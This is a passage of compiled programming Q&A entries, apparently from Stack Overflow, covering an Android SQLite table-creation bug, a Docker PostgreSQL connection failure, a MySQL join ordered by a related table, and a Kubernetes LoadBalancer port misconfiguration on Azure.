    sqLiteDatabase.execSQL("DROP TABLE IF EXISTS golf_averages");
    onCreate(sqLiteDatabase);
}
}
</code>```

答:
You have to add spaces in the SQL statement. You have these lines:

```<code>+ COL_9 + "text, "
</code>```

but COL_9 is defined as:

```<code>public static final String COL_9 = "COL_9";
</code>```

meaning the SQL statement, when compiled, ends up with COL_9 and text joined in the name, meaning the row name is COL_9text.

Add a space before you write text and it'll fix it. The issue isn't there on the first piece though (with ID), it appears to only be for the text columns.

In addition, the same issue occurs at the start of the SQL statement:

```<code>"CREATE TABLE" + TABLE_NAME
</code>```

Add a space after the word TABLE.

The easiest way to spot this is happening, is to look for errors in the logcat.  This shows you where your SQL syntax errors occur, and helps narrow down the changes you need to make.

Body:
Working on creating a SQL database in Android Studio, however, the app won't open on the emulator and no database file is found at /data/data/package/databases/ when using the device monitor.

I'm working on api_21 emulator which I believe should support sqlite. Eventually I'll be using the database information to perform various function with the buttons, but as of right now, those are ignored.

please help!

MainActivity.java

package edu.tamu.thecaddyapp;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {

Button buttonDriver, buttonFouriron, buttonFiveiron, buttonSixiron, buttonSeveniron, buttonEightiron, buttonNineiron, buttonPW, buttonFiftysix, buttonSW, buttonSixty;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    SQLiteHelper db = new SQLiteHelper(this);
    db.getWritableDatabase();

    buttonDriver = findViewById(R.id.button_DRIVER);
    buttonFouriron = findViewById(R.id.button_4IRON);
    buttonFiveiron = findViewById(R.id.button_5IRON);
    buttonSixiron = findViewById(R.id.button_6IRON);
    buttonSeveniron = findViewById(R.id.button_7IRON);
    buttonEightiron = findViewById(R.id.button_8IRON);
    buttonNineiron = findViewById(R.id.button_9IRON);
    buttonPW = findViewById(R.id.button_PW);
    buttonSW = findViewById(R.id.button_SW);
    buttonFiftysix = findViewById(R.id.button_56DEG);
    buttonSixty = findViewById(R.id.button_60DEG);

}

public void buttonDriver(View view) {
}

public void buttonFouriron(View view) {
}

public void buttonFiveiron(View view) {
}

public void buttonSixiron(View view) {
}

public void buttonSeveniron(View view) {
}

public void buttonEightiron(View view) {
}

public void buttonNineiron(View view) {
}

public void buttonPW(View view) {
}

public void buttonSW(View view) {
}

public void buttonFiftysix(View view) {
}

public void buttonSixty(View view) {
}

}

SQLiteHelper.java

package edu.tamu.thecaddyapp;

import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import android.util.Log;

public class SQLiteHelper extends SQLiteOpenHelper {

private static final int DATABASE_VERSION = 1;
public static final String DATABASE_NAME = "SQLiteDatabase.db";
public static final String TABLE_NAME = "golf_averages";
public static final String _id = "_id";
public static final String COL_1 = "COL_1";
public static final String COL_2 = "COL_2";
public static final String COL_3 = "COL_3";
public static final String COL_4 = "COL_4";
public static final String COL_5 = "COL_5";
public static final String COL_6 = "COL_6";
public static final String COL_7 = "COL_7";
public static final String COL_8 = "COL_8";
public static final String COL_9 = "COL_9";
public static final String COL_10 = "COL_10";

public String create_table = "CREATE TABLE" + TABLE_NAME
        + " (_id integer primary key autoincrement, "
        + COL_1 + "text, "
        + COL_2 + "text, "
        + COL_3 + "text, "
        + COL_4 + "text, "
        + COL_5 + "text, "
        + COL_6 + "text, "
        + COL_7 + "text, "
        + COL_8 + "text, "
        + COL_9 + "text, "
        + COL_10 + "text" +")";

public SQLiteHelper(Context context) {
    super(context, DATABASE_NAME, null, DATABASE_VERSION);
    Log.d("SQLiteHelper", "Context Reached");
}

@Override
public void onCreate(SQLiteDatabase sqLiteDatabase) {
    sqLiteDatabase.execSQL(create_table);
    Log.d("onCreate", "onCreate reached");
}

@Override
public void onUpgrade(SQLiteDatabase sqLiteDatabase, int i, int i1) {
    sqLiteDatabase.execSQL("DROP TABLE IF EXISTS golf_averages");
    onCreate(sqLiteDatabase);
}
}

Body:
You have to add spaces in the SQL statement. You have these lines:

+ COL_9 + "text, "

but COL_9 is defined as:

public static final String COL_9 = "COL_9";

meaning the SQL statement, when compiled, ends up with COL_9 and text joined in the name, meaning the row name is COL_9text.

Add a space before you write text and it'll fix it. The issue isn't there on the first piece though (with ID), it appears to only be for the text columns.

In addition, the same issue occurs at the start of the SQL statement:

"CREATE TABLE" + TABLE_NAME

Add a space after the word TABLE.

The easiest way to spot this is happening, is to look for errors in the logcat.  This shows you where your SQL syntax errors occur, and helps narrow down the changes you need to make.


问:
Cannot connect to postgres server in docker
I started a postgresql server in docker and exposed the 5432 port by sudo docker run -it -p 5432:5432 9c421f1a239c bash and start the postgres server manually inside the docker container, but cannot connect to it with command: psql -h  172.17.0.63 -U venti. 172.17.0.63 is a right IP, and venti is my pg username. But get error:

```<code>psql: could not connect to server: Connection refused
    Is the server running on host "172.17.0.63" and accepting
    TCP/IP connections on port 5432?
</code>```

My pg_hba.conf looks like this:

```<code>local   all             postgres                                peer
host all all 0.0.0.0/0 trust
local all all trust
</code>```

Connecting to pg server inside container works successfully.

Dockerfile:

```<code>FROM ubuntu:12.04
RUN apt-get update

RUN apt-get install -y gcc libc-dev-bin libc6 libc6-dev libssl-dev libkrb5-dev comerr-dev

RUN apt-get install -y postgresql-common libpq-dev postgresql-9.1-postgis --fix-missing
RUN apt-get install -y postgresql postgresql-client

USER postgres

ENV PGDATA /etc/postgresql/9.1/main
ENV LOGDIR  /etc/postgresql/9.1/main/postgresql.log

WORKDIR /usr/lib/postgresql/9.1/bin
USER root
RUN apt-get install -y vim
USER postgres
RUN sed -e '90d' -i /etc/postgresql/9.1/main/pg_hba.conf
RUN sed -e '91d' -i /etc/postgresql/9.1/main/pg_hba.conf

RUN echo "host all all 0.0.0.0/0 trust" >> '/etc/postgresql/9.1/main/pg_hba.conf'
RUN echo "local all all trust" >> '/etc/postgresql/9.1/main/pg_hba.conf'

RUN ./pg_ctl start && sleep 8 && ./createdb pg && ./createdb bloodstone \
    && createuser -Upostgres -s venti \
    && createdb -Uventi -Oventi venti

# ENTRYPOINT ./pg_ctl start && bash -c "while true; do echo "" > /dev/null; sleep 1; done"

VOLUME $PGDATA
EXPOSE 5432
</code>```

答:
I also faced similar issue. Try running docker-compose up twice.

The reason is, that in my docker-compose.yml file the DB service was below the Web service in which it was trying to connect to DB which does not exists yet.

**

```<code>version: '2'
services:
 nginx:
    image: nginx:latest
    container_name: ng01
    ports:
      - "8000:8000"
    volumes:
      - ./src:/src
      - ./config/nginx:/etc/nginx/conf.d
      - /static:/static  <--- HERE
    depends_on:
      - web
 web:
    build: .
    container_name: dg01
    command: bash -c "python /src/IMS/manage.py makemigrations && python /src/IMS/manage.py migrate && gunicorn IMS.wsgi -b
0.0.0.0:8000"
    depends_on:
      - db
    volumes:
      - ./src:/src
      - /static:/static
    expose:
      - "8000"
 db:
    image: postgres:latest
    container_name: ps01**
</code>```

Body:
I started a postgresql server in docker and exposed the 5432 port by sudo docker run -it -p 5432:5432 9c421f1a239c bash and start the postgres server manually inside the docker container, but cannot connect to it with command: psql -h  172.17.0.63 -U venti. 172.17.0.63 is a right IP, and venti is my pg username. But get error:

psql: could not connect to server: Connection refused
    Is the server running on host "172.17.0.63" and accepting
    TCP/IP connections on port 5432?

My pg_hba.conf looks like this:

local   all             postgres                                peer
host all all 0.0.0.0/0 trust
local all all trust

Connecting to pg server inside container works successfully.

Dockerfile:

FROM ubuntu:12.04
RUN apt-get update

RUN apt-get install -y gcc libc-dev-bin libc6 libc6-dev libssl-dev libkrb5-dev comerr-dev

RUN apt-get install -y postgresql-common libpq-dev postgresql-9.1-postgis --fix-missing
RUN apt-get install -y postgresql postgresql-client

USER postgres

ENV PGDATA /etc/postgresql/9.1/main
ENV LOGDIR  /etc/postgresql/9.1/main/postgresql.log

WORKDIR /usr/lib/postgresql/9.1/bin
USER root
RUN apt-get install -y vim
USER postgres
RUN sed -e '90d' -i /etc/postgresql/9.1/main/pg_hba.conf
RUN sed -e '91d' -i /etc/postgresql/9.1/main/pg_hba.conf

RUN echo "host all all 0.0.0.0/0 trust" >> '/etc/postgresql/9.1/main/pg_hba.conf'
RUN echo "local all all trust" >> '/etc/postgresql/9.1/main/pg_hba.conf'

RUN ./pg_ctl start && sleep 8 && ./createdb pg && ./createdb bloodstone \
    && createuser -Upostgres -s venti \
    && createdb -Uventi -Oventi venti

# ENTRYPOINT ./pg_ctl start && bash -c "while true; do echo "" > /dev/null; sleep 1; done"

VOLUME $PGDATA
EXPOSE 5432

Body:
I also faced similar issue. Try running docker-compose up twice.

The reason is, that in my docker-compose.yml file the DB service was below the Web service in which it was trying to connect to DB which does not exists yet.

**

version: '2'
services:
 nginx:
    image: nginx:latest
    container_name: ng01
    ports:
      - "8000:8000"
    volumes:
      - ./src:/src
      - ./config/nginx:/etc/nginx/conf.d
      - /static:/static  <--- HERE
    depends_on:
      - web
 web:
    build: .
    container_name: dg01
    command: bash -c "python /src/IMS/manage.py makemigrations && python /src/IMS/manage.py migrate && gunicorn IMS.wsgi -b
0.0.0.0:8000"
    depends_on:
      - db
    volumes:
      - ./src:/src
      - /static:/static
    expose:
      - "8000"
 db:
    image: postgres:latest
    container_name: ps01**


问:
Order by joined table through table
my mySQL (pun intended) is a bit rusty. I am trying to join a table through another table.

```<code>carparks has many clients
clients has many cars
</code>```

This is the query

```<code>select `carparks`.* from `carparks`

left join `clients` on `carparks`.`carpark_id` = `clients`.`carpark_id`

left join `cars` on `clients`.`client_id` = `cars`.`client_id`

where `carparks`.`carpark_id` in (1, 3, 8, 33, 34, 38, 39)

order by `cars`.`created_at` desc
</code>```

As you can see I am trying to order by the created_at column of cars, the above query though returns duplicated carparks for each of the cars within the carpark.

What I am looking at is to return only those carparks with the ids in the WHERE IN clause, simply ordered by the created_at column of the cars table.

Thanks

答:
Reduce the number of carparks and clients before doing the joins, this will reduce the execution time of the query.    </p>

```<code>SELECT A.* FROM (SELECT * FROM `carparks` WHERE `carpark_id` in
(1, 3, 8, 33, 34, 38, 39)) A LEFT JOIN
(SELECT `carpark_id`, `client_id` FROM `clients` WHERE `carpark_id`
in (1, 3, 8, 33, 34, 38, 39)) B ON A.`carpark_id`=B.`carpark_id` LEFT JOIN
`cars` C ON B.`client_id` = C.`client_id`
GROUP BY A.`carpark_id`
ORDER BY MAX(C.`created_at`) DESC
</code>```

Title: Order by joined table through table

Body:
my mySQL (pun intended) is a bit rusty. I am trying to join a table through another table.

carparks has many clients
clients has many cars

This is the query

select `carparks`.* from `carparks`

left join `clients` on `carparks`.`carpark_id` = `clients`.`carpark_id`

left join `cars` on `clients`.`client_id` = `cars`.`client_id`

where `carparks`.`carpark_id` in (1, 3, 8, 33, 34, 38, 39)

order by `cars`.`created_at` desc

As you can see I am trying to order by the created_at column of cars, the above query though returns duplicated carparks for each of the cars within the carpark.

What I am looking at is to return only those carparks with the ids in the WHERE IN clause, simply ordered by the created_at column of the cars table.

Thanks

Body:
Reduce the number of carparks and clients before doing the joins, this will reduce the execution time of the query.

SELECT A.* FROM (SELECT * FROM `carparks` WHERE `carpark_id` in
(1, 3, 8, 33, 34, 38, 39)) A LEFT JOIN
(SELECT `carpark_id`, `client_id` FROM `clients` WHERE `carpark_id`
in (1, 3, 8, 33, 34, 38, 39)) B ON A.`carpark_id`=B.`carpark_id` LEFT JOIN
`cars` C ON B.`client_id` = C.`client_id`
GROUP BY A.`carpark_id`
ORDER BY MAX(C.`created_at`) DESC


问:
Kubernetes/Azure ACS: Why can't I access external IPs of my Service?
Using Kubernetes on Azure Container Service (not the new AKS though).

I'm deploying a front-end up like this:

```<code>apiVersion: apps/v1beta1
kind: Deployment
metadata:
  name: frontend-deployment
spec:
  selector:
    matchLabels:
      app: frontend
  replicas: 2
  template:
    metadata:
      labels:
        app: frontend
    spec:
      containers:
      - name: frontend
        image: etc/etc
        imagePullPolicy: IfNotPresent
        ports:
        - containerPort: 3000
---
apiVersion: v1
kind: Service
metadata:
  name: frontend
spec:
  type: LoadBalancer
  ports:
  - port: 80
    targetPort: 3000
  selector:
    app: frontend
</code>```

I can see that it's started correctly from the logs.

From kubectl get services I can see that it has been assigned an External IP. But when I try to access that via HTTP it just hangs.

I also can see in the Azure Portal that the Azure Load Balancer was created and is pointing to the correct external IP and backend pool.

Can anyone tell me if I somehow messed up the port assignments in the pod definition?

--

Update: Somehow it started working on it's own (or seemed like). But when I tried to re-create it as a Service instead of Deployment it stopped working

Here's my Service:

This is my config:

```<code>apiVersion: v1
kind: Service
metadata:
  creationTimestamp: null
  name: meteor
spec:
  externalTrafficPolicy: Cluster
  ports:
  - port: 80
    protocol: TCP
    targetPort: http-server
  selector:
    app: frontend
  sessionAffinity: ClientIP
  type: LoadBalancer
</code>```

It creates the external IP for the load balancer, and I can see that it is properly matching the pods. but I get a timeout when I try to connect to the external IP. Meanwhile the load balancer that was created as part of the deployment continues to work just fine.

答: It looks like the problem was a mis-specification of the targetPort. Adjusting it to the correct value and replacing the Service definition solved the problem.</p>

Body:
Using Kubernetes on Azure Container Service (not the new AKS though).

I'm deploying a front-end up like this:

apiVersion: apps/v1beta1
kind: Deployment
metadata:
  name: frontend-deployment
spec:
  selector:
    matchLabels:
      app: frontend
  replicas: 2
  template:
    metadata:
      labels:
        app: frontend
    spec:
      containers:
      - name: frontend
        image: etc/etc
        imagePullPolicy: IfNotPresent
        ports:
        - containerPort: 3000
---
apiVersion: v1
kind: Service
metadata:
  name: frontend
spec:
  type: LoadBalancer
  ports:
  - port: 80
    targetPort: 3000
  selector:
    app: frontend

I can see that it's started correctly from the logs.

From kubectl get services I can see that it has been assigned an External IP. But when I try to access that via HTTP it just hangs.

I also can see in the Azure Portal that the Azure Load Balancer was created and is pointing to the correct external IP and backend pool.

Can anyone tell me if I somehow messed up the port assignments in the pod definition?

--

Update: Somehow it started working on it's own (or seemed like). But when I tried to re-create it as a Service instead of Deployment it stopped working

Here's my Service:

This is my config:

apiVersion: v1
kind: Service
metadata:
  creationTimestamp: null
  name: meteor
spec:
  externalTrafficPolicy: Cluster
  ports:
  - port: 80
    protocol: TCP
    targetPort: http-server
  selector:
    app: frontend
  sessionAffinity: ClientIP
  type: LoadBalancer

It creates the external IP for the load balancer, and I can see that it is properly matching the pods. but I get a timeout when I try to connect to the external IP. Meanwhile the load balancer that was created as part of the deployment continues to work just fine.